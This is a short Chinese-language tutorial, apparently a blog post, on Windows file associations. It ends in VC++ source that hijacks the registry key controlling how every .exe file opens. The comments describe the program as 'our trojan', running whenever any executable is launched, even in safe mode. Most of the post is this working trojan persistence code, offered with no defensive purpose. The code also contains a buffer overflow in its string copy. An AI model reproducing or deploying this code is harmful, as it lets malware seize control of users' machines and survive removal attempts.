檔案關聯就是將一種類型的檔案與一個可以開啟它的程式建立起一種依存關係。
舉個例子來說,位元影像檔案(BMP檔案)在Windows中的預設關聯程式是“畫圖”,如果將其預設關聯改為用ACDSee程式來開啟,那麼ACDSee就成了它的預設關聯程式。
一個檔案可以與多個應用程式發生關聯。我們可以利用檔案的“開啟檔案”進行關聯選擇。我們也可以刪除因誤操作而引起的錯誤檔案關聯,可以根據需要建立檔案關聯,在有些軟體中還可以恢複檔案的關聯。
檔案關聯也是很多流行病毒、木馬經常利用的隱藏和自動運行手段。
下面我用VC++親自用代碼實現檔案關聯。
#include <stdio.h>#include <windows.h>int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch=(char *)malloc(length);strcpy(ch,argv[1]);for(int i=0;i<length;i++,ch++){if(*ch=='\\')strncat(temp,"\\\\",2);else strncat(temp,ch,1);}}//上面的函數是把字串中所有的"\"變為"\\"char str[]="\"%1\" %*"; RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);// 在執行原有程式之前必須把註冊表恢複,否則用ShellExecute還是執行我們的木馬程式。ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程式//在程式執行完成後,再把註冊表改為我們要啟動的木馬程式的TCHAR filename[256];// 得到程式全路徑名GetModuleFileName( NULL, filename, 255 );strcat(filename," \"%1\" %*");RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);//經過上述過程只要程式一運行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會運行我們的程式了。 return 0;}